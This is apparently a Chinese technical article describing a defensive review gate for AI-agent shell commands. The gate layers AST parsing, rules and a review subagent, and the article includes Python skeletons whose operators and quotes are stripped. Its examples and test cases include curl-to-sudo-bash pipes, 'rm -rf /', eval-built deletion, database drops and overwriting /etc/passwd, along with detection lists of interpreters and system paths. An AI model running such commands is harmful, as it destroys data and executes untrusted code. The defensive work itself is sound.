
你在用 AI 编程助手处理线上维护任务时它给你回了一句“我将执行rm -rf /tmp/log/*。请确认”。你扫了一眼觉得没问题按了回车。几秒钟后报警群炸了——因为通配符展开、符号链接目录、子目录挂载点让这条命令实际删掉的范围远超你的预期。这类事故不是段子。shell 命令是当前 AI Agent 和编程助手落地时风险最高的执行面之一它天然有能力访问文件系统、管道、网络和运行环境一条rm -rf、一条curl | sh就可能造成不可逆后果。更麻烦的是“检查一条 shell 命令安不安全”这件事看起来简单实际做起来却非常难覆盖。这篇文章要写的就是如何给 shell 命令做一个可落地的 Auto Review 系统核心思路是三层组合——用 AST 解析理解命令结构用规则引擎覆盖已知风险再用一个独立 subagent 做语义级审查。读完你会得到一套可实现的架构设计和核心代码骨架而不是泛泛的安全建议。1. 这篇文章真正要解决的问题先说一个容易误判的地方很多人以为 shell 安全审查就是“匹配危险字符串”。比如看到命令里包含rm -rf就直接拦截。这个思路在演示环境里有效一进真实生产就漏洞百出。真实环境里一条命令可能是这样拼出来的path/data/app/$APP_VERSION cmdrm -rf $path/cache eval $cmd也可能是这样curl -s http://example.com/update.sh | sudo bash还可能是这样docker exec -it $(docker ps -q | tail -1) sh -c dropdb app_prod字符串匹配面对这些场景几乎无能为力变量拼接让危险命令名分散在文本里管道让风险指令隐藏在下游命令替换让子语句在运行时才生成。你需要的不是“看字符串像不像危险”而是“看这棵命令语法树里是否长着危险的结构”。所以Auto Review 要解决的核心问题是结构理解把 shell 命令解析成语法树识别出命令名、参数、管道、重定向、子 Shell、命令替换等结构。风险识别在 AST 层设置规则既能命中字面量也能命中“管道下游执行远程脚本”这类结构风险。语义审查用一个独立 subagent 结合业务上下文判断“这条命令在目标机器上是否合理”。执行门禁根据审查结果决定放行、降权、人工审批或拦截。这套机制适合三类读者正在开发 AI Agent 工具链的工程师负责生产和运维自动化平台的开发者以及想在 CI 里给 shell 脚本加安全闸门的团队。2. 四个关键概念Auto Review、shell、AST、subagent2.1 Auto Review审查对象和执行门禁Auto Review 在软件工程里不是新词它原本主要指自动代码审查——机器辅助把关代码质量、风格、变更风险。这篇文章里它特指把审查对象变成 shell 命令本身在命令真正落到终端执行之前先用一套自动化链路完成检查。Auto Review 的定位不是取代人或取代 shellcheck而是形成一条可重复执行的“安全闸门”。任何进入生产环境的命令都要过这道闸门。2.2 shell为什么它是最高风险执行面shell 是用户与操作系统内核之间的命令解释器。Bash、Zsh、PowerShell 都属于 shell。它之所以危险是因为它不是一门“受限查询语言”而是一个图灵完备、默认信任所有指令的程序可以直接读取和删除文件可以通过管道调用网络下载内容支持eval、执行替换这样的动态执行能力大部分命令没有撤销机制。用一句话概括在数据库里删数据至少还有事务和备份在 shell 里rm -rf /用完就没了。2.3 AST从“字符串”到“结构”ASTAbstract Syntax Tree抽象语法树是源代码或命令经过解析后生成的树形结构。树的每一个节点代表一个语法单元命令、参数、管道运算符、重定向、子 Shell。解析过程分为词法分析和语法分析两步最终让程序的“结构”显式呈现出来。举例来说下面这条命令curl -s http://x.com/a.sh | sudo bashAST 会把它表示成大致这样的结构Pipeline 管道节点Command 命令curl参数-s参数http://x.com/a.sh管道符|Command 命令sudo参数bash有了这棵树程序就不需要依赖“文本里有没有出现危险词”来判断风险而是可以直接判断“管道右侧是否出现 bash 类执行命令”“命令名是否属于危险命令集合”“重定向目标是否指向系统关键文件”。2.4 subagent另一个视角的审查者subagent 是 Agent 架构里的子代理。在最新的多 Agent 设计里主从模式很常见本质上就是把 subagent 当作另一种 tool 来调用主 Agent 给它明确的输入它返回结构化的输出整个过程隔离在自己的上下文里。为什么审查不能由主 Agent 一个人完成这是关键。主 Agent 刚刚自己生成了这条 shell 命令。让它回头再来检查自己生成的命令在认知上天然存在确认偏误——它倾向于认为自己的方案是对的会不自觉地忽略风险信号。即便指令设计得再严格同一条思维链的自审能力也有限。subagent 的价值在于上下文隔离它不背着主 Agent 庞大的任务历史只专注于“看这条命令安不安全”角色固定它的系统提示词就是“安全审查员”不负责执行不负责优化只负责找出风险输出可解析它返回结构化 JSON 报告主 Agent 只消费报告不消费冗长的推理过程可并行多条命令可以并发提交给多个审查子代理。把 subagent 视为一种受限 tool有助于降低架构复杂度。它不需要协作协议、不需要和主 Agent 互相传递消息就是一个函数输入命令文本和上下文输出安全报告。3. 方案设计三层链路的主从 Agent 架构先给出整体架构再解释每一层的职责。用户任务 ↓ 主 Agent起草命令 决策 ↓ Auto Review 链路 ├── 第一层词法切分与归一化 ├── 第二层AST 解析与结构分析 ├── 第三层规则引擎命中已知风险 ├── 第四层Review Subagent 语义审查可选 └── 第五层风险报告汇总 ↓ 执行门禁BLOCK / MANUAL / APPROVE ↓ 受限执行环境3.1 第一层词法切分把命令切成 token。目的是统一处理引号、转义、变量名和操作符。这一层不涉及语法判断但它为后面的 AST 解析提供干净的输入。3.2 第二层AST 解析这是方案的核心差异点。用真正的 shell 语法解析器把命令解析成语法树。推荐两个方案原型阶段可以用 Python 的bashlex库安装简单能处理大多数 Bash 语法生产阶段推荐 tree-sitter 配合 bash grammar解析能力更强社区活跃还支持其他语言复用同一套解析框架。AST 解析能回答字符串匹配回答不了的问题管道的下游是谁重定向的目标文件是什么是否出现命令替换结构命令名是否被变量间接引用eval内外包了几层。3.3 第三层规则引擎规则引擎负责“无歧义的已知风险”。它直接在 AST 上跑不依赖 LLM所以速度快、可解释、可测试。规则分为几类规则类型典型命中风险级别破坏性文件操作删除根目录、格式化磁盘BLOCK远程内容管道执行curl到sh、wget到bashHIGH危险重定向覆盖/etc/passwd、块设备BLOCK命令替换下钻eval $(...)内部无法静态分析HIGH权限异常提升普通任务里出现sudo chmod -R 777MEDIUM疑似反弹外联检测到外联标记BLOCK仅防御场景这里要说明规则引擎不是万能的。遇到完全由变量动态拼接的命令AST 也救不了因为变量值在运行时才确定。规则的定位是覆盖确定性风险剩余部分交给 subagent。3.4 第四层Review Subagent 语义审查规则引擎覆盖不了两类风险命令在语法上合法、在字面上不危险但在当前业务上下文里不合理命令本身属于“灰色操作”比如删除一张表、重置一个目录需要结合目标环境判断。Review Subagent 的输入包括命令原文和 AST 摘要规则引擎已经命中的风险信号让它重点复核业务上下文当前任务描述、目标主机角色生产/预发/测试、允许操作路径黑名单、白名单输出要求固定 JSON 结构字段包括风险等级、风险描述、建议动作。它不执行命令、不访问真实文件系统只做审查判断。主 Agent 拿到它的报告后决定后续动作。3.5 第五层执行门禁最终决策逻辑必须简单、可解释、可回滚BLOCK自动拦截直接终止流程HIGH交给人工审批审批前不执行MEDIUM给出降权替代建议默认不执行APPROVE进入受限执行环境并记录完整审计日志。4. 代码骨架AST 解析与规则引擎下面用 Python 写一套最小实现。完整代码可以放到项目的auto_review/目录下分模块组织。4.1 风险报告数据结构先定义统一的数据结构。这部分代码可以直接运行。# 文件路径auto_review/models.py from dataclasses import dataclass, field from enum import Enum from typing import List, Optional class RiskLevel(Enum): LOW low MEDIUM medium HIGH high BLOCK block dataclass class RiskSignal: rule_id: str reason: str level: RiskLevel position: str dataclass class RiskReport: command: str signals: List[RiskSignal] field(default_factorylist) property def max_level(self) - RiskLevel: if not self.signals: return RiskLevel.LOW level_rank { RiskLevel.LOW: 0, RiskLevel.MEDIUM: 1, RiskLevel.HIGH: 2, RiskLevel.BLOCK: 3, } return max(self.signals, keylambda s: level_rank[s.level]).level dataclass class ReviewContext: task_description: str host_role: str staging allowed_paths: List[str] field(default_factorylist) denied_paths: List[str] field(default_factorylist)RiskSignal是风险信号RiskReport汇总一条命令的所有风险ReviewContext是 subagent 审查时需要知道的业务上下文。4.2 AST 节点模型与解析接入点为了不绑定具体解析库先定义自己的 AST 节点模型。真实解析库返回的节点在接入时归一化成这个模型。# 文件路径auto_review/ast_model.py from dataclasses import dataclass, field from typing import List, Optional dataclass class AstNode: kind: str # command / pipeline / redirect / subshell / command_sub value: Optional[str] None children: List[AstNode] field(default_factorylist) def walk(self): yield self for child in self.children: yield from child.walk()下面这个函数是接入真实解析库的演示。这里用bashlex做示例但要注意不同版本的节点字段略有差异实际接入时以解析结果为准。# 文件路径auto_review/parser.py import shlex from typing import List from auto_review.ast_model import AstNode def tokenize(command: str) - List[str]: 第一层词法切分。 注意shlex.split 不是完整 shell 解析器它不会处理管道、子 Shell 等结构 但对引号、转义、注释处理的还原是可靠的。这一层主要用于给规则引擎提 供干净的命令名和参数序列。 try: return shlex.split(command) except ValueError as exc: raise ValueError(f命令词法切分失败请检查引号是否闭合: {exc}) from exc def parse_to_ast(command: str) - AstNode: 第二层AST 解析。 这里以 bashlex 为例。生产环境更推荐 tree-sitter bash grammar。 关键点是无论底层用哪个库上层风险逻辑只依赖 AstNode 结构。 parser_impl _parse_with_bashlex return parser_impl(command) def _parse_with_bashlex(command: str) - AstNode: # 接入 bashlex 的示例 # import bashlex # tree bashlex.parse(command) # 将 bashlex 返回的节点递归转换为 AstNode # # 如果读取失败返回一个 command 类型根节点 # 让规则引擎至少可以在 token 层做检查。 tokens tokenize(command) root AstNode(kindcommand) for tok in tokens: root.children.append(AstNode(kindtoken, valuetok)) return root这段代码做了一个清晰的降级策略如果 AST 解析失败至少保留 token 层规则引擎仍然可以在词法层工作。实际项目里建议这里接 tree-sitter解析能力更强容错也更好。4.3 规则引擎规则引擎的核心函数是analyze_ast。它遍历 AST 节点对每一类结构执行对应规则。# 文件路径auto_review/rules.py from typing import List from auto_review.ast_model import AstNode from auto_review.models import RiskLevel, RiskSignal def _command_name(node: AstNode) - str: 从 command 节点提取命令名。 if node.kind command and node.children: first_child node.children[0] return first_child.value or return node.value or def _collect_pipeline_commands(root: AstNode) - List[List[str]]: 提取管道中每一段的命令和参数。 例如 curl -s http://x.com/a.sh | sudo bash 返回 [[curl, -s, http://x.com/a.sh], [sudo, bash]] pipeline_segments: List[List[str]] [] if root.kind pipeline: segments root.children else: segments [root] for segment in segments: tokens [n.value for n in segment.walk() if n.kind in (token, word) and n.value] pipeline_segments.append(tokens) return pipeline_segments def analyze_ast(root: AstNode) - List[RiskSignal]: signals: List[RiskSignal] [] pipeline_segments _collect_pipeline_commands(root) # 规则 1远程内容管道到 shell 执行 for segment in pipeline_segments: if not segment: continue first segment[0] if first in (curl, wget, httpie): rest segment[1:] if any(item in rest for item in (sh, bash, zsh, python, perl)): signals.append(RiskSignal( rule_idpipe_remote_shell, reason检测到远程下载内容直接进入解释器执行存在供应链和执行风险, levelRiskLevel.HIGH, )) # 规则 2删除根目录或关键系统路径 for node in root.walk(): if node.kind token and node.value rm: # 查找 rm 命令后面是否跟着 -rf 和根目录 pass # 完整实现需要定位 rm 所在命令节点 # 规则 3危险重定向 for node in root.walk(): if node.kind redirect: target node.value or if target in (/etc/passwd, /etc/shadow, /dev/sda, /dev/sdb): signals.append(RiskSignal( rule_iddangerous_redirect, reasonf重定向目标指向系统关键文件或块设备: {target}, levelRiskLevel.BLOCK, )) return signals规则 2 只写了示意结构完整实现要做两件事一是定位rm所在的 command 节点二是检查它的参数里是否包含根目录或白名单外路径。下面给一个更完整的版本。# 文件路径auto_review/rules.py续 from typing import List from auto_review.ast_model import AstNode from auto_review.models import RiskLevel, RiskSignal def _find_commands(root: AstNode, command_name: str) - List[AstNode]: 查找指定名字的命令节点。 result [] for node in root.walk(): if node.kind command: tokens [n.value for n in node.walk() if n.kind in (token, word) and n.value] if tokens and tokens[0] command_name: result.append(node) return result def _command_tokens(cmd_node: AstNode) - List[str]: return [n.value for n in cmd_node.walk() if n.kind in (token, word) and n.value] def analyze_rm_rules(root: AstNode, allowed_paths: List[str]) - List[RiskSignal]: signals: List[RiskSignal] [] rm_commands _find_commands(root, rm) for cmd in rm_commands: tokens _command_tokens(cmd) if -rf in tokens or -r in tokens or -f in tokens: # 检查后面的路径参数 args_after_flag tokens[2:] for arg in args_after_flag: if arg in (/, /*, ~, /root, /home, /var/log): signals.append(RiskSignal( rule_idrm_dangerous_path, reasonfrm 命令目标包含危险路径: {arg}, levelRiskLevel.BLOCK, )) elif allowed_paths and arg not in allowed_paths: signals.append(RiskSignal( rule_idrm_outside_whitelist, reasonfrm 命令目标不在白名单: {arg}, levelRiskLevel.MEDIUM, )) return signals这套规则引擎带来的最大变化是分析对象从字符串变成了结构化 token 序列。比如rm -rf /可以被命中rm -rf /tmp/cache只有在/tmp/cache在白名单里才会放行。4.4 编译并运行规则# 文件路径auto_review/engine.py from auto_review.ast_model import AstNode from auto_review.models import ReviewContext, RiskReport, RiskSignal from auto_review.parser import parse_to_ast, tokenize from auto_review.rules import analyze_ast, analyze_rm_rules def run_rules(command: str, context: ReviewContext) - RiskReport: report RiskReport(commandcommand) try: root parse_to_ast(command) except Exception as exc: report.signals.append(RiskSignal( rule_idparse_error, reasonfAST 解析失败无法安全审查: {exc}, levelRiskLevel.HIGH, positionfull command, )) return report # 基础结构规则 report.signals.extend(analyze_ast(root)) # rm 专项规则 report.signals.extend(analyze_rm_rules(root, context.allowed_paths)) return report if __name__ __main__: ctx ReviewContext( task_description清理测试环境临时文件, host_rolestaging, allowed_paths[/tmp/cache], denied_paths[/], ) commands_to_test [ curl -s http://x.com/a.sh | sudo bash, rm -rf /tmp/cache, rm -rf /, ] for cmd in commands_to_test: print(f命令: {cmd}) report run_rules(cmd, ctx) print(f 最大风险: {report.max_level.value}) for signal in report.signals: print(f - [{signal.rule_id}] {signal.reason} ({signal.level.value})) print()运行预期输出大致是命令: curl -s http://x.com/a.sh | sudo bash 最大风险: high - [pipe_remote_shell] 检测到远程下载内容直接进入解释器执行... 命令: rm -rf /tmp/cache 最大风险: low 命令: rm -rf / 最大风险: block - [rm_dangerous_path] rm 命令目标包含危险路径: /到这里一个不依赖 LLM、完全可测试的安全审查骨架已经能跑通。下一节加入 subagent 做语义审查。5. 代码骨架ReviewSubagent 与主 Agent 编排5.1 ReviewSubagent 接口subagent 本质是一个独立上下文、独立提示词、输出受限的调用单元。下面的类定义展示了它的接口形态。实际接入时把 LLM 调用部分替换为你自己的模型网关即可。# 文件路径auto_review/subagent.py import json from typing import Dict from auto_review.models import ( ReviewContext, RiskLevel, RiskReport, RiskSignal, ) from auto_review.engine import run_rules class ReviewSubAgent: 独立审查子代理。 它不负责生成命令不负责执行命令只负责回答一个问题 这条命令在当前业务上下文里是否可以被安全执行 def run(self, command: str, context: ReviewContext) - RiskReport: # 第一步跑规则引擎拿到结构化风险信号 report run_rules(command, context) # 第二步如果规则引擎已经给出 BLOCK直接返回无需请 LLM if report.max_level RiskLevel.BLOCK: return report # 第三步把 AST 摘要、规则信号和业务上下文一起交给语义审查器 semantic_result self._semantic_review(command, context, report.signals) report.signals.extend(semantic_result) return report def _semantic_review( self, command: str, context: ReviewContext, rule_signals: list[RiskSignal], ) - list[RiskSignal]: 语义审查返回额外的风险信号列表。 这一步把真实 LLM 调用封装成一个黑盒。提示词建议包括 - 任务描述 - 目标主机角色 - 命令原文 - 规则引擎已命中的风险 - 输出要求JSON 数组字段为 rule_id, reason, level prompt self._build_prompt(command, context, rule_signals) raw_output self._call_llm(prompt) try: parsed json.loads(raw_output) except json.JSONDecodeError: return [] signals [] for item in parsed: try: level RiskLevel(item.get(level, low)) except ValueError: level RiskLevel.LOW signals.append(RiskSignal( rule_iditem.get(rule_id, semantic_risk), reasonitem.get(reason, 语义审查未给出原因), levellevel, )) return signals def _build_prompt( self, command: str, context: ReviewContext, rule_signals: list[RiskSignal], ) - str: signal_text \n.join( f- {s.rule_id}: {s.reason} ({s.level.value}) for s in rule_signals ) return ( 你是一个 shell 命令安全审查员。\n f任务描述{context.task_description}\n f目标主机角色{context.host_role}\n f命令原文{command}\n f静态规则已命中\n{signal_text}\n\n 请判断这条命令在执行时是否存在语义风险例如\n - 与任务描述无关的危险操作\n - 明显越权的文件路径\n - 对环境可能造成不可逆影响\n 只返回 JSON 数组不要返回其他内容。 ) def _call_llm(self, prompt: str) - str: 在这里替换为你的模型网关调用。 注意不要给 subagent 任何工具执行权限。 审查者只能读文本不能触发任何外部操作。 raise NotImplementedError(请接入你的 LLM 网关)这里有一个安全设计要点subagent 没有工具权限没有文件系统访问权限它唯一的输入是命令文本和上下文唯一输出是 JSON。即使它被恶意提示词攻击攻击面也限制在文本输出。5.2 主 Agent 决策逻辑主 Agent 不自己判断安全它只消费 ReviewSubAgent 的报告然后执行门禁策略。# 文件路径agent/integration.py from auto_review.models import ReviewContext, RiskLevel from auto_review.subagent import ReviewSubAgent def main_agent_review_command( task_description: str, candidate_command: str, host_role: str, allowed_paths: list[str], ): 主 Agent 的审查入口。 调用流程 1. 主 Agent 起草命令 2. 调用 ReviewSubAgent 获得报告 3. 根据报告决定下一步。 context ReviewContext( task_descriptiontask_description, host_rolehost_role, allowed_pathsallowed_paths, ) reviewer ReviewSubAgent() report reviewer.run(candidate_command, context) decision { RiskLevel.BLOCK: block, RiskLevel.HIGH: manual_review, RiskLevel.MEDIUM: manual_review, RiskLevel.LOW: approve, }[report.max_level] return { decision: decision, command: candidate_command, report: report, } if __name__ __main__: task 清理测试服务器 /tmp/cache 下 7 天前的临时文件 cmd rm -rf /tmp/cache/old_logs result main_agent_review_command( task_descriptiontask, candidate_commandcmd, host_rolestaging, allowed_paths[/tmp/cache], ) print(f决策: {result[decision]}) print(f风险等级: {result[report].max_level.value})这段代码把决策逻辑收敛成了一个四选一的分支。生产环境里HIGH和MEDIUM通常都走人工审批但审批界面不同HIGH需要负责人二次确认MEDIUM可以由操作者在确认后继续。6. 运行结果与效果验证6.1 验证规则引擎先跑最小用例集确认规则引擎的行为符合预期。python -m auto_review.engine预期结果命令风险等级说明ls -la /tmplow正常命令curl -s http://x.com/a.shsudo bashhighrm -rf /tmp/cachelow在白名单内rm -rf /block触发危险路径规则echo test /etc/passwdblock触发关键文件重定向规则6.2 验证 subagent 语义审查subagent 的语义审查部分没有接入真实 LLM这里提供一个调试入口# 文件路径auto_review/debug_subagent.py from auto_review.models import ReviewContext from auto_review.subagent import ReviewSubAgent class MockReviewSubAgent(ReviewSubAgent): def _call_llm(self, prompt): return [] ctx ReviewContext( task_description重启 web 服务, host_roleproduction, ) report MockReviewSubAgent().run(systemctl restart nginx, ctx) print(report.max_level)接入真实 LLM 后建议在测试环境准备一组语义风险样例systemctl stop firewalld chmod -R 777 /var/www mysql -e DROP DATABASE app_prod;这些命令在静态规则层不一定命中但结合“重启 web 服务”的任务上下文subagent 应该给出 MEDIUM 或 HIGH 的风险信号。6.3 失败时的排查顺序如果命令没有被正确拦截按下面顺序排查确认命令是否真的经过了 Auto Review 链路而不是绕过门禁直接执行查看规则引擎的日志确认 AST 解析是否失败并降级到了 token 层查看RiskReport.signals是否有信号进入以及信号的 level 是否正确检查ReviewContext的白名单、黑名单是否配置合理检查执行门禁的决策映射表是否被正确使用。7. 常见问题与排查思路问题现象可能原因排查方式解决方案解析器报语法错误命令片段不完整比如只有if没有fi打印命令原文和 token 序列在 AST 解析前先做引号闭合检查失败时降级到 token 层规则误杀过多白名单路径未配置或配置过窄查看命中的 rule_id 和 position根据业务场景动态补充 allowed_paths危险命令未见拦截命令通过变量拼接AST 只能看到变量名查看 AST 摘要确认变量来源对eval和命令替换结构直接给 HIGH 风险要求人工审查subagent 返回非 JSON模型输出不稳定记录 raw_output 到日志增加重试逻辑解析失败时按 HIGH 风险处理审查延迟过高LLM 调用串行且规则过多埋点统计各层耗时规则引擎能拦截的直接返回语义审查仅在必要时调用执行门禁被绕过有 code path 直接调用了执行函数检查执行入口执行函数只接受带 approve 决策的命令对象8. 最佳实践与工程建议8.1 默认拒绝而不是默认放行Auto Review 的门禁逻辑应该是没有明确批准就没有执行。LOW才能自动放行MEDIUM、HIGH默认全部走人工确认BLOCK直接终止流程。不要让风险等级与“是否执行”建立模糊映射每个等级对应一个明确动作。8.2 最小权限执行环境即使命令通过了审查执行端也应该使用最小权限账号运行。不要在 Agent 的 worker 进程里用 root 跑 shell。可以采用目标目录有写权限的低权限账号配合 sudo 白名单让命令无法越界操作系统关键区域。8.3 保留审计全链路审计日志至少需要记录命令原文AST 摘要规则引擎命中的全部信号subagent 返回的原始 JSON最终决策和决策人/自动策略命令实际执行结果和退出码。这些日志不仅在事故排查时有用也是持续圈定规则白名单、黑名单的数据来源。8.4 规则引擎先于 LLMLLM 负责兜底规则引擎速度更快、可解释性强、没有随机性应该作为第一道闸门。LLM 语义审查放在规则引擎通过之后用于发现“规则没写出来但人看一眼就觉得不对”的风险。有一个细节如果规则引擎命中了 BLOCK 级风险就不要再把命令丢给 LLM 了。不仅要尽快阻断还要避免给模型一个“带答案的题”防止它对高危命令做无意义补充解释。8.5 不要滥用“审查通过”这个状态审查通过只代表“这条命令在当前上下文里被允许执行”不代表“这个命令永远安全”。上下文变了比如主机角色从 staging 变成 production就要重新走审查。不要缓存 safety verdict。8.6 对eval、动态拼接的命令保持零信任AST 可以看清静态结构但对eval $cmd这种动态执行无能为力。设计上凡是出现eval、反引号命令替换内部再执行、未知变量驱动命令名的情况一律给出 HIGH 以上风险要求人工确认。9. 总结与后续学习方向这套 Auto Review 系统的核心判断可以浓缩成一句话shell 命令安全审查不能只靠模型的自觉也不能只靠字符串黑名单而是要组合“AST 结构理解 规则引擎确定性拦截 subagent 语义复核”三层机制。从实现上你已经有了一个完整骨架风险报告的数据结构AST 节点模型和解析接入方式规则引擎的管道风险、rm 风险、重定向风险检测ReviewSubAgent 的独立上下文设计主 Agent 的执行门禁决策逻辑。值得继续深入的方向有三个。第一把 tree-sitter 真正接入 AST 解析替换掉示例里的 token 降级逻辑让管道、重定向、子 Shell 这些结构判断更精确。第二把规则引擎做成可配置化沉淀一套 YAML 规则语言让运维团队在不改代码的情况下扩展黑名单、白名单和风险等级映射。第三把 ReviewSubAgent 替换成你团队实际使用的 Agent 框架同时保持“无工具执行权限、只读文本、输出 JSON”的约束。给它加任何工具权限之前都要想清楚这次授权扩大的是审查能力还是攻击面。最后提醒一句这类系统解决的是确定性问题世界上不存在“绝对安全”的命令审查。真正有效的是形成流程惯性——让每一条要执行的命令都有机会先被清楚地解释说明再被谨慎地执行。